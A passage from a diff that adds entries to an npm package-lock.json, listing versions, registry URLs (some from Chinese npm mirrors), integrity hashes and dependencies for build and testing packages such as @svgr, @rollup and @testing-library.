+      "resolved": "https://registry.npmjs.org/@jridgewell/source-map/-/source-map-0.3.2.tgz",
+      "integrity": "sha512-m7O9o2uR8k2ObDysZYzdfhb08VuEml5oWGiosa1VdaPZ/A6QyPkAJuwN0Q1lhULOf6B7MtQmHENS743hWtCrgw==",
+      "dependencies": {
+        "@jridgewell/gen-mapping": "^0.3.0",
+        "@jridgewell/trace-mapping": "^0.3.9"
+      }
+    },
+    "node_modules/@jridgewell/source-map/node_modules/@jridgewell/gen-mapping": {
+      "version": "0.3.2",
+      "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.2.tgz",
+      "integrity": "sha512-mh65xKQAzI6iBcFzwv28KVWSmCkdRBWoOh+bYQGW3+6OZvbbN3TqMGo5hqYxQniRcH9F2VZIoJCm4pa3BPDK/A==",
+      "dependencies": {
+        "@jridgewell/set-array": "^1.0.1",
+        "@jridgewell/sourcemap-codec": "^1.4.10",
+        "@jridgewell/trace-mapping": "^0.3.9"
+      },
+      "engines": {
+        "node": ">=6.0.0"
+      }
+    },
+    "node_modules/@jridgewell/sourcemap-codec": {
+      "version": "1.4.14",
+      "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.14.tgz",
+      "integrity": "sha512-XPSJHWmi394fuUuzDnGz1wiKqWfo1yXecHQMRf2l6hztTO+nPru658AyDngaBe7isIxEkRsPR3FZh+s7iVa4Uw=="
+    },
+    "node_modules/@jridgewell/trace-mapping": {
+      "version": "0.3.15",
+      "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.15.tgz",
+      "integrity": "sha512-oWZNOULl+UbhsgB51uuZzglikfIKSUBO/M9W2OfEjn7cmqoAiCgmv9lyACTUacZwBz0ITnJ2NqjU8Tx0DHL88g==",
+      "dependencies": {
+        "@jridgewell/resolve-uri": "^3.0.3",
+        "@jridgewell/sourcemap-codec": "^1.4.10"
+      }
+    },
+    "node_modules/@leichtgewicht/ip-codec": {
+      "version": "2.0.4",
+      "resolved": "https://registry.npmjs.org/@leichtgewicht/ip-codec/-/ip-codec-2.0.4.tgz",
+      "integrity": "sha512-Hcv+nVC0kZnQ3tD9GVu5xSMR4VVYOteQIr/hwFPVEvPdlXqgGEuRjiheChHgdM+JyqdgNcmzZOX/tnl0JOiI7A=="
+    },
+    "node_modules/@nicolo-ribaudo/eslint-scope-5-internals": {
+      "version": "5.1.1-v1",
+      "resolved": "https://registry.npmjs.org/@nicolo-ribaudo/eslint-scope-5-internals/-/eslint-scope-5-internals-5.1.1-v1.tgz",
+      "integrity": "sha512-54/JRvkLIzzDWshCWfuhadfrfZVPiElY8Fcgmg1HroEly/EDSszzhBAsarCux+D/kOslTRquNzuyGSmUSTTHGg==",
+      "dependencies": {
+        "eslint-scope": "5.1.1"
+      }
+    },
+    "node_modules/@nicolo-ribaudo/eslint-scope-5-internals/node_modules/eslint-scope": {
+      "version": "5.1.1",
+      "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-5.1.1.tgz",
+      "integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==",
+      "dependencies": {
+        "esrecurse": "^4.3.0",
+        "estraverse": "^4.1.1"
+      },
+      "engines": {
+        "node": ">=8.0.0"
+      }
+    },
+    "node_modules/@nicolo-ribaudo/eslint-scope-5-internals/node_modules/estraverse": {
+      "version": "4.3.0",
+      "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz",
+      "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==",
+      "engines": {
+        "node": ">=4.0"
+      }
+    },
+    "node_modules/@nodelib/fs.scandir": {
+      "version": "2.1.5",
+      "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz",
+      "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==",
+      "dependencies": {
+        "@nodelib/fs.stat": "2.0.5",
+        "run-parallel": "^1.1.9"
+      },
+      "engines": {
+        "node": ">= 8"
+      }
+    },
+    "node_modules/@nodelib/fs.stat": {
+      "version": "2.0.5",
+      "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz",
+      "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==",
+      "engines": {
+        "node": ">= 8"
+      }
+    },
+    "node_modules/@nodelib/fs.walk": {
+      "version": "1.2.8",
+      "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz",
+      "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==",
+      "dependencies": {
+        "@nodelib/fs.scandir": "2.1.5",
+        "fastq": "^1.6.0"
+      },
+      "engines": {
+        "node": ">= 8"
+      }
+    },
+    "node_modules/@pmmmwh/react-refresh-webpack-plugin": {
+      "version": "0.5.7",
+      "resolved": "https://registry.npmjs.org/@pmmmwh/react-refresh-webpack-plugin/-/react-refresh-webpack-plugin-0.5.7.tgz",
+      "integrity": "sha512-bcKCAzF0DV2IIROp9ZHkRJa6O4jy7NlnHdWL3GmcUxYWNjLXkK5kfELELwEfSP5hXPfVL/qOGMAROuMQb9GG8Q==",
+      "dependencies": {
+        "ansi-html-community": "^0.0.8",
+        "common-path-prefix": "^3.0.0",
+        "core-js-pure": "^3.8.1",
+        "error-stack-parser": "^2.0.6",
+        "find-up": "^5.0.0",
+        "html-entities": "^2.1.0",
+        "loader-utils": "^2.0.0",
+        "schema-utils": "^3.0.0",
+        "source-map": "^0.7.3"
+      },
+      "engines": {
+        "node": ">= 10.13"
+      },
+      "peerDependencies": {
+        "@types/webpack": "4.x || 5.x",
+        "react-refresh": ">=0.10.0 <1.0.0",
+        "sockjs-client": "^1.4.0",
+        "type-fest": ">=0.17.0 <3.0.0",
+        "webpack": ">=4.43.0 <6.0.0",
+        "webpack-dev-server": "3.x || 4.x",
+        "webpack-hot-middleware": "2.x",
+        "webpack-plugin-serve": "0.x || 1.x"
+      },
+      "peerDependenciesMeta": {
+        "@types/webpack": {
+          "optional": true
+        },
+        "sockjs-client": {
+          "optional": true
+        },
+        "type-fest": {
+          "optional": true
+        },
+        "webpack-dev-server": {
+          "optional": true
+        },
+        "webpack-hot-middleware": {
+          "optional": true
+        },
+        "webpack-plugin-serve": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/@pmmmwh/react-refresh-webpack-plugin/node_modules/source-map": {
+      "version": "0.7.4",
+      "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.7.4.tgz",
+      "integrity": "sha512-l3BikUxvPOcn5E74dZiq5BGsTb5yEwhaTSzccU6t4sDOH8NWJCstKO5QT2CvtFoK6F0saL7p9xHAqHOlCPJygA==",
+      "engines": {
+        "node": ">= 8"
+      }
+    },
+    "node_modules/@popperjs/core": {
+      "version": "2.9.2",
+      "resolved": "https://registry.npm.taobao.org/@popperjs/core/download/@popperjs/core-2.9.2.tgz?cache=0&sync_timestamp=1617290098226&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40popperjs%2Fcore%2Fdownload%2F%40popperjs%2Fcore-2.9.2.tgz",
+      "integrity": "sha1-rep7aVPLs0ZRdmsFSEaOdDxqI1M=",
+      "peer": true,
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/popperjs"
+      }
+    },
+    "node_modules/@restart/context": {
+      "version": "2.1.4",
+      "resolved": "https://registry.npm.taobao.org/@restart/context/download/@restart/context-2.1.4.tgz",
+      "integrity": "sha1-qZ2HwpmjTCi9hbtInLB7/SMUnAI=",
+      "peerDependencies": {
+        "react": ">=16.3.2"
+      }
+    },
+    "node_modules/@restart/hooks": {
+      "version": "0.3.26",
+      "resolved": "https://registry.npm.taobao.org/@restart/hooks/download/@restart/hooks-0.3.26.tgz",
+      "integrity": "sha1-reFVp7CwFO8Qczkd2kaXLDoUoSk=",
+      "dependencies": {
+        "lodash": "^4.17.20",
+        "lodash-es": "^4.17.20"
+      },
+      "peerDependencies": {
+        "react": ">=16.8.0"
+      }
+    },
+    "node_modules/@rollup/plugin-babel": {
+      "version": "5.3.1",
+      "resolved": "https://registry.npmjs.org/@rollup/plugin-babel/-/plugin-babel-5.3.1.tgz",
+      "integrity": "sha512-WFfdLWU/xVWKeRQnKmIAQULUI7Il0gZnBIH/ZFO069wYIfPu+8zrfp/KMW0atmELoRDq8FbiP3VCss9MhCut7Q==",
+      "dependencies": {
+        "@babel/helper-module-imports": "^7.10.4",
+        "@rollup/pluginutils": "^3.1.0"
+      },
+      "engines": {
+        "node": ">= 10.0.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0",
+        "@types/babel__core": "^7.1.9",
+        "rollup": "^1.20.0||^2.0.0"
+      },
+      "peerDependenciesMeta": {
+        "@types/babel__core": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/@rollup/plugin-node-resolve": {
+      "version": "11.2.1",
+      "resolved": "https://registry.npmjs.org/@rollup/plugin-node-resolve/-/plugin-node-resolve-11.2.1.tgz",
+      "integrity": "sha512-yc2n43jcqVyGE2sqV5/YCmocy9ArjVAP/BeXyTtADTBBX6V0e5UMqwO8CdQ0kzjb6zu5P1qMzsScCMRvE9OlVg==",
+      "dependencies": {
+        "@rollup/pluginutils": "^3.1.0",
+        "@types/resolve": "1.17.1",
+        "builtin-modules": "^3.1.0",
+        "deepmerge": "^4.2.2",
+        "is-module": "^1.0.0",
+        "resolve": "^1.19.0"
+      },
+      "engines": {
+        "node": ">= 10.0.0"
+      },
+      "peerDependencies": {
+        "rollup": "^1.20.0||^2.0.0"
+      }
+    },
+    "node_modules/@rollup/plugin-replace": {
+      "version": "2.4.2",
+      "resolved": "https://registry.npmjs.org/@rollup/plugin-replace/-/plugin-replace-2.4.2.tgz",
+      "integrity": "sha512-IGcu+cydlUMZ5En85jxHH4qj2hta/11BHq95iHEyb2sbgiN0eCdzvUcHw5gt9pBL5lTi4JDYJ1acCoMGpTvEZg==",
+      "dependencies": {
+        "@rollup/pluginutils": "^3.1.0",
+        "magic-string": "^0.25.7"
+      },
+      "peerDependencies": {
+        "rollup": "^1.20.0 || ^2.0.0"
+      }
+    },
+    "node_modules/@rollup/pluginutils": {
+      "version": "3.1.0",
+      "resolved": "https://registry.npmjs.org/@rollup/pluginutils/-/pluginutils-3.1.0.tgz",
+      "integrity": "sha512-GksZ6pr6TpIjHm8h9lSQ8pi8BE9VeubNT0OMJ3B5uZJ8pz73NPiqOtCog/x2/QzM1ENChPKxMDhiQuRHsqc+lg==",
+      "dependencies": {
+        "@types/estree": "0.0.39",
+        "estree-walker": "^1.0.1",
+        "picomatch": "^2.2.2"
+      },
+      "engines": {
+        "node": ">= 8.0.0"
+      },
+      "peerDependencies": {
+        "rollup": "^1.20.0||^2.0.0"
+      }
+    },
+    "node_modules/@rollup/pluginutils/node_modules/@types/estree": {
+      "version": "0.0.39",
+      "resolved": "https://registry.npmjs.org/@types/estree/-/estree-0.0.39.tgz",
+      "integrity": "sha512-EYNwp3bU+98cpU4lAWYYL7Zz+2gryWH1qbdDTidVd6hkiR6weksdbMadyXKXNPEkQFhXM+hVO9ZygomHXp+AIw=="
+    },
+    "node_modules/@rushstack/eslint-patch": {
+      "version": "1.2.0",
+      "resolved": "https://registry.npmjs.org/@rushstack/eslint-patch/-/eslint-patch-1.2.0.tgz",
+      "integrity": "sha512-sXo/qW2/pAcmT43VoRKOJbDOfV3cYpq3szSVfIThQXNt+E4DfKj361vaAt3c88U5tPUxzEswam7GW48PJqtKAg=="
+    },
+    "node_modules/@sinclair/typebox": {
+      "version": "0.24.44",
+      "resolved": "https://registry.npmjs.org/@sinclair/typebox/-/typebox-0.24.44.tgz",
+      "integrity": "sha512-ka0W0KN5i6LfrSocduwliMMpqVgohtPFidKdMEOUjoOFCHcOOYkKsPRxfs5f15oPNHTm6ERAm0GV/+/LTKeiWg=="
+    },
+    "node_modules/@sinonjs/commons": {
+      "version": "1.8.3",
+      "resolved": "https://registry.npmjs.org/@sinonjs/commons/-/commons-1.8.3.tgz",
+      "integrity": "sha512-xkNcLAn/wZaX14RPlwizcKicDk9G3F8m2nU3L7Ukm5zBgTwiT0wsoFAHx9Jq56fJA1z/7uKGtCRu16sOUCLIHQ==",
+      "dependencies": {
+        "type-detect": "4.0.8"
+      }
+    },
+    "node_modules/@sinonjs/fake-timers": {
+      "version": "8.1.0",
+      "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-8.1.0.tgz",
+      "integrity": "sha512-OAPJUAtgeINhh/TAlUID4QTs53Njm7xzddaVlEs/SXwgtiD1tW22zAB/W1wdqfrpmikgaWQ9Fw6Ws+hsiRm5Vg==",
+      "dependencies": {
+        "@sinonjs/commons": "^1.7.0"
+      }
+    },
+    "node_modules/@surma/rollup-plugin-off-main-thread": {
+      "version": "2.2.3",
+      "resolved": "https://registry.npmjs.org/@surma/rollup-plugin-off-main-thread/-/rollup-plugin-off-main-thread-2.2.3.tgz",
+      "integrity": "sha512-lR8q/9W7hZpMWweNiAKU7NQerBnzQQLvi8qnTDU/fxItPhtZVMbPV3lbCwjhIlNBe9Bbr5V+KHshvWmVSG9cxQ==",
+      "dependencies": {
+        "ejs": "^3.1.6",
+        "json5": "^2.2.0",
+        "magic-string": "^0.25.0",
+        "string.prototype.matchall": "^4.0.6"
+      }
+    },
+    "node_modules/@svgr/babel-plugin-add-jsx-attribute": {
+      "version": "5.4.0",
+      "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-add-jsx-attribute/-/babel-plugin-add-jsx-attribute-5.4.0.tgz",
+      "integrity": "sha512-ZFf2gs/8/6B8PnSofI0inYXr2SDNTDScPXhN7k5EqD4aZ3gi6u+rbmZHVB8IM3wDyx8ntKACZbtXSm7oZGRqVg==",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "type": "github",
+        "url": "https://github.com/sponsors/gregberge"
+      }
+    },
+    "node_modules/@svgr/babel-plugin-remove-jsx-attribute": {
+      "version": "5.4.0",
+      "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-remove-jsx-attribute/-/babel-plugin-remove-jsx-attribute-5.4.0.tgz",
+      "integrity": "sha512-yaS4o2PgUtwLFGTKbsiAy6D0o3ugcUhWK0Z45umJ66EPWunAz9fuFw2gJuje6wqQvQWOTJvIahUwndOXb7QCPg==",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "type": "github",
+        "url": "https://github.com/sponsors/gregberge"
+      }
+    },
+    "node_modules/@svgr/babel-plugin-remove-jsx-empty-expression": {
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-remove-jsx-empty-expression/-/babel-plugin-remove-jsx-empty-expression-5.0.1.tgz",
+      "integrity": "sha512-LA72+88A11ND/yFIMzyuLRSMJ+tRKeYKeQ+mR3DcAZ5I4h5CPWN9AHyUzJbWSYp/u2u0xhmgOe0+E41+GjEueA==",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "type": "github",
+        "url": "https://github.com/sponsors/gregberge"
+      }
+    },
+    "node_modules/@svgr/babel-plugin-replace-jsx-attribute-value": {
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-replace-jsx-attribute-value/-/babel-plugin-replace-jsx-attribute-value-5.0.1.tgz",
+      "integrity": "sha512-PoiE6ZD2Eiy5mK+fjHqwGOS+IXX0wq/YDtNyIgOrc6ejFnxN4b13pRpiIPbtPwHEc+NT2KCjteAcq33/F1Y9KQ==",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "type": "github",
+        "url": "https://github.com/sponsors/gregberge"
+      }
+    },
+    "node_modules/@svgr/babel-plugin-svg-dynamic-title": {
+      "version": "5.4.0",
+      "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-svg-dynamic-title/-/babel-plugin-svg-dynamic-title-5.4.0.tgz",
+      "integrity": "sha512-zSOZH8PdZOpuG1ZVx/cLVePB2ibo3WPpqo7gFIjLV9a0QsuQAzJiwwqmuEdTaW2pegyBE17Uu15mOgOcgabQZg==",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "type": "github",
+        "url": "https://github.com/sponsors/gregberge"
+      }
+    },
+    "node_modules/@svgr/babel-plugin-svg-em-dimensions": {
+      "version": "5.4.0",
+      "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-svg-em-dimensions/-/babel-plugin-svg-em-dimensions-5.4.0.tgz",
+      "integrity": "sha512-cPzDbDA5oT/sPXDCUYoVXEmm3VIoAWAPT6mSPTJNbQaBNUuEKVKyGH93oDY4e42PYHRW67N5alJx/eEol20abw==",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "type": "github",
+        "url": "https://github.com/sponsors/gregberge"
+      }
+    },
+    "node_modules/@svgr/babel-plugin-transform-react-native-svg": {
+      "version": "5.4.0",
+      "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-transform-react-native-svg/-/babel-plugin-transform-react-native-svg-5.4.0.tgz",
+      "integrity": "sha512-3eYP/SaopZ41GHwXma7Rmxcv9uRslRDTY1estspeB1w1ueZWd/tPlMfEOoccYpEMZU3jD4OU7YitnXcF5hLW2Q==",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "type": "github",
+        "url": "https://github.com/sponsors/gregberge"
+      }
+    },
+    "node_modules/@svgr/babel-plugin-transform-svg-component": {
+      "version": "5.5.0",
+      "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-transform-svg-component/-/babel-plugin-transform-svg-component-5.5.0.tgz",
+      "integrity": "sha512-q4jSH1UUvbrsOtlo/tKcgSeiCHRSBdXoIoqX1pgcKK/aU3JD27wmMKwGtpB8qRYUYoyXvfGxUVKchLuR5pB3rQ==",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "type": "github",
+        "url": "https://github.com/sponsors/gregberge"
+      }
+    },
+    "node_modules/@svgr/babel-preset": {
+      "version": "5.5.0",
+      "resolved": "https://registry.npmjs.org/@svgr/babel-preset/-/babel-preset-5.5.0.tgz",
+      "integrity": "sha512-4FiXBjvQ+z2j7yASeGPEi8VD/5rrGQk4Xrq3EdJmoZgz/tpqChpo5hgXDvmEauwtvOc52q8ghhZK4Oy7qph4ig==",
+      "dependencies": {
+        "@svgr/babel-plugin-add-jsx-attribute": "^5.4.0",
+        "@svgr/babel-plugin-remove-jsx-attribute": "^5.4.0",
+        "@svgr/babel-plugin-remove-jsx-empty-expression": "^5.0.1",
+        "@svgr/babel-plugin-replace-jsx-attribute-value": "^5.0.1",
+        "@svgr/babel-plugin-svg-dynamic-title": "^5.4.0",
+        "@svgr/babel-plugin-svg-em-dimensions": "^5.4.0",
+        "@svgr/babel-plugin-transform-react-native-svg": "^5.4.0",
+        "@svgr/babel-plugin-transform-svg-component": "^5.5.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "type": "github",
+        "url": "https://github.com/sponsors/gregberge"
+      }
+    },
+    "node_modules/@svgr/core": {
+      "version": "5.5.0",
+      "resolved": "https://registry.npmjs.org/@svgr/core/-/core-5.5.0.tgz",
+      "integrity": "sha512-q52VOcsJPvV3jO1wkPtzTuKlvX7Y3xIcWRpCMtBF3MrteZJtBfQw/+u0B1BHy5ColpQc1/YVTrPEtSYIMNZlrQ==",
+      "dependencies": {
+        "@svgr/plugin-jsx": "^5.5.0",
+        "camelcase": "^6.2.0",
+        "cosmiconfig": "^7.0.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "type": "github",
+        "url": "https://github.com/sponsors/gregberge"
+      }
+    },
+    "node_modules/@svgr/hast-util-to-babel-ast": {
+      "version": "5.5.0",
+      "resolved": "https://registry.npmjs.org/@svgr/hast-util-to-babel-ast/-/hast-util-to-babel-ast-5.5.0.tgz",
+      "integrity": "sha512-cAaR/CAiZRB8GP32N+1jocovUtvlj0+e65TB50/6Lcime+EA49m/8l+P2ko+XPJ4dw3xaPS3jOL4F2X4KWxoeQ==",
+      "dependencies": {
+        "@babel/types": "^7.12.6"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "type": "github",
+        "url": "https://github.com/sponsors/gregberge"
+      }
+    },
+    "node_modules/@svgr/plugin-jsx": {
+      "version": "5.5.0",
+      "resolved": "https://registry.npmjs.org/@svgr/plugin-jsx/-/plugin-jsx-5.5.0.tgz",
+      "integrity": "sha512-V/wVh33j12hGh05IDg8GpIUXbjAPnTdPTKuP4VNLggnwaHMPNQNae2pRnyTAILWCQdz5GyMqtO488g7CKM8CBA==",
+      "dependencies": {
+        "@babel/core": "^7.12.3",
+        "@svgr/babel-preset": "^5.5.0",
+        "@svgr/hast-util-to-babel-ast": "^5.5.0",
+        "svg-parser": "^2.0.2"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "type": "github",
+        "url": "https://github.com/sponsors/gregberge"
+      }
+    },
+    "node_modules/@svgr/plugin-svgo": {
+      "version": "5.5.0",
+      "resolved": "https://registry.npmjs.org/@svgr/plugin-svgo/-/plugin-svgo-5.5.0.tgz",
+      "integrity": "sha512-r5swKk46GuQl4RrVejVwpeeJaydoxkdwkM1mBKOgJLBUJPGaLci6ylg/IjhrRsREKDkr4kbMWdgOtbXEh0fyLQ==",
+      "dependencies": {
+        "cosmiconfig": "^7.0.0",
+        "deepmerge": "^4.2.2",
+        "svgo": "^1.2.2"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "type": "github",
+        "url": "https://github.com/sponsors/gregberge"
+      }
+    },
+    "node_modules/@svgr/webpack": {
+      "version": "5.5.0",
+      "resolved": "https://registry.npmjs.org/@svgr/webpack/-/webpack-5.5.0.tgz",
+      "integrity": "sha512-DOBOK255wfQxguUta2INKkzPj6AIS6iafZYiYmHn6W3pHlycSRRlvWKCfLDG10fXfLWqE3DJHgRUOyJYmARa7g==",
+      "dependencies": {
+        "@babel/core": "^7.12.3",
+        "@babel/plugin-transform-react-constant-elements": "^7.12.1",
+        "@babel/preset-env": "^7.12.1",
+        "@babel/preset-react": "^7.12.5",
+        "@svgr/core": "^5.5.0",
+        "@svgr/plugin-jsx": "^5.5.0",
+        "@svgr/plugin-svgo": "^5.5.0",
+        "loader-utils": "^2.0.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "type": "github",
+        "url": "https://github.com/sponsors/gregberge"
+      }
+    },
+    "node_modules/@testing-library/dom": {
+      "version": "7.31.2",
+      "resolved": "https://registry.nlark.com/@testing-library/dom/download/@testing-library/dom-7.31.2.tgz?cache=0&sync_timestamp=1622729051034&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40testing-library%2Fdom%2Fdownload%2F%40testing-library%2Fdom-7.31.2.tgz",
+      "integrity": "sha1-3zYds49SEriFVQaKuBGfXYQajEo=",
+      "peer": true,
+      "dependencies": {
+        "@babel/code-frame": "^7.10.4",
+        "@babel/runtime": "^7.12.5",
+        "@types/aria-query": "^4.2.0",
+        "aria-query": "^4.2.2",
+        "chalk": "^4.1.0",
+        "dom-accessibility-api": "^0.5.6",
+        "lz-string": "^1.4.4",
+        "pretty-format": "^26.6.2"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/@testing-library/jest-dom": {
+      "version": "5.13.0",
+      "resolved": "https://registry.nlark.com/@testing-library/jest-dom/download/@testing-library/jest-dom-5.13.0.tgz",
+      "integrity": "sha1-CjZWhOLBFZ+Ff1kVvlAIn8VlffA=",
+      "dependencies": {
+        "@babel/runtime": "^7.9.2",
+        "@types/testing-library__jest-dom": "^5.9.1",
+        "aria-query": "^4.2.2",
+        "chalk": "^3.0.0",
+        "css": "^3.0.0",
+        "css.escape": "^1.5.1",
+        "lodash": "^4.17.15",
+        "redent": "^3.0.0"
+      },
+      "engines": {
+        "node": ">=8",
+        "npm": ">=6",
+        "yarn": ">=1"
+      }
+    },
+    "node_modules/@testing-library/jest-dom/node_modules/chalk": {
+      "version": "3.0.0",
+      "resolved": "https://registry.nlark.com/chalk/download/chalk-3.0.0.tgz?cache=0&sync_timestamp=1618995384030&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fchalk%2Fdownload%2Fchalk-3.0.0.tgz",
+      "integrity": "sha1-P3PCv1JlkfV0zEksUeJFY0n4ROQ=",
+      "dependencies": {
+        "ansi-styles": "^4.1.0",
+        "supports-color": "^7.1.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/@testing-library/react": {
+      "version": "11.2.7",
+      "resolved": "https://registry.nlark.com/@testing-library/react/download/@testing-library/react-11.2.7.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40testing-library%2Freact%2Fdownload%2F%40testing-library%2Freact-11.2.7.tgz",
+      "integrity": "sha1-sp4ulcZ2XIFXhsC8HVrtnLK/eBg=",
+      "dependencies": {
+        "@babel/runtime": "^7.12.5",
+        "@testing-library/dom": "^7.28.1"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "peerDependencies": {
+        "react": "*",
+        "react-dom": "*"
+      }
+    },
+    "node_modules/@testing-library/user-event": {
+      "version": "12.8.3",
+      "resolved": "https://registry.nlark.com/@testing-library/user-event/download/@testing-library/user-event-12.8.3.tgz?cache=0&sync_timestamp=1620861071292&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40testing-library%2Fuser-event%2Fdownload%2F%40testing-library%2Fuser-event-12.8.3.tgz",
+      "integrity": "sha1-GqPtS595NAoeGDa8f1fFAeg4cEo=",
+      "dependencies": {
+        "@babel/runtime": "^7.12.5"
+      },
+      "engines": {
+        "node": ">=10",
+        "npm": ">=6"
+      },
+      "peerDependencies": {
+        "@testing-library/dom": ">=7.21.4"
+      }
+    },
+    "node_modules/@tootallnate/once": {
+      "version": "1.1.2",
+      "resolved": "https://registry.npmjs.org/@tootallnate/once/-/once-1.1.2.tgz",
+      "integrity": "sha512-RbzJvlNzmRq5c3O09UipeuXno4tA1FE6ikOjxZK0tuxVv3412l64l5t1W5pj4+rJq9vpkm/kwiR07aZXnsKPxw==",
+      "engines": {
+        "node": ">= 6"
+      }
+    },
+    "node_modules/@trysound/sax": {
+      "version": "0.2.0",
+      "resolved": "https://registry.npmjs.org/@trysound/sax/-/sax-0.2.0.tgz",
+      "integrity": "sha512-L7z9BgrNEcYyUYtF+HaEfiS5ebkh9jXqbszz7pC0hRBPaatV0XjSD3+eHrpqFemQfgwiFF0QPIarnIihIDn7OA==",
+      "engines": {
+        "node": ">=10.13.0"
+      }
+    },
+    "node_modules/@types/aria-query": {
+      "version": "4.2.1",
+      "resolved": "https://registry.nlark.com/@types/aria-query/download/@types/aria-query-4.2.1.tgz",
+      "integrity": "sha1-eLVDM0Ti+S6LMGwGpWIsUMJFv2s="
+    },
+    "node_modules/@types/babel__core": {
+      "version": "7.1.19",
+      "resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.1.19.tgz",
+      "integrity": "sha512-WEOTgRsbYkvA/KCsDwVEGkd7WAr1e3g31VHQ8zy5gul/V1qKullU/BU5I68X5v7V3GnB9eotmom4v5a5gjxorw==",
+      "dependencies": {
+        "@babel/parser": "^7.1.0",
+        "@babel/types": "^7.0.0",
+        "@types/babel__generator": "*",
+        "@types/babel__template": "*",
+        "@types/babel__traverse": "*"
+      }
+    },
+    "node_modules/@types/babel__generator": {
+      "version": "7.6.4",
+      "resolved": "https://registry.npmjs.org/@types/babel__generator/-/babel__generator-7.6.4.tgz",
+      "integrity": "sha512-tFkciB9j2K755yrTALxD44McOrk+gfpIpvC3sxHjRawj6PfnQxrse4Clq5y/Rq+G3mrBurMax/lG8Qn2t9mSsg==",
+      "dependencies": {
+        "@babel/types": "^7.0.0"
+      }
+    },
+    "node_modules/@types/babel__template": {
+      "version": "7.4.1",
+      "resolved": "https://registry.npmjs.org/@types/babel__template/-/babel__template-7.4.1.tgz",
+      "integrity": "sha512-azBFKemX6kMg5Io+/rdGT0dkGreboUVR0Cdm3fz9QJWpaQGJRQXl7C+6hOTCZcMll7KFyEQpgbYI2lHdsS4U7g==",
+      "dependencies": {
+        "@babel/parser": "^7.1.0",
+        "@babel/types": "^7.0.0"
+      }
+    },
+    "node_modules/@types/babel__traverse": {
+      "version": "7.18.2",
+      "resolved": "https://registry.npmjs.org/@types/babel__traverse/-/babel__traverse-7.18.2.tgz",
+      "integrity": "sha512-FcFaxOr2V5KZCviw1TnutEMVUVsGt4D2hP1TAfXZAMKuHYW3xQhe3jTxNPWutgCJ3/X1c5yX8ZoGVEItxKbwBg==",
+      "dependencies": {
+        "@babel/types": "^7.3.0"
+      }
+    },
+    "node_modules/@types/body-parser": {
+      "version": "1.19.2",
+      "resolved": "https://registry.npmjs.org/@types/body-parser/-/body-parser-1.19.2.tgz",
+      "integrity": "sha512-ALYone6pm6QmwZoAgeyNksccT9Q4AWZQ6PvfwR37GT6r6FWUPguq6sUmNGSMV2Wr761oQoBxwGGa6DR5o1DC9g==",
+      "dependencies": {
+        "@types/connect": "*",
+        "@types/node": "*"
+      }
+    },
+    "node_modules/@types/bonjour": {
+      "version": "3.5.10",
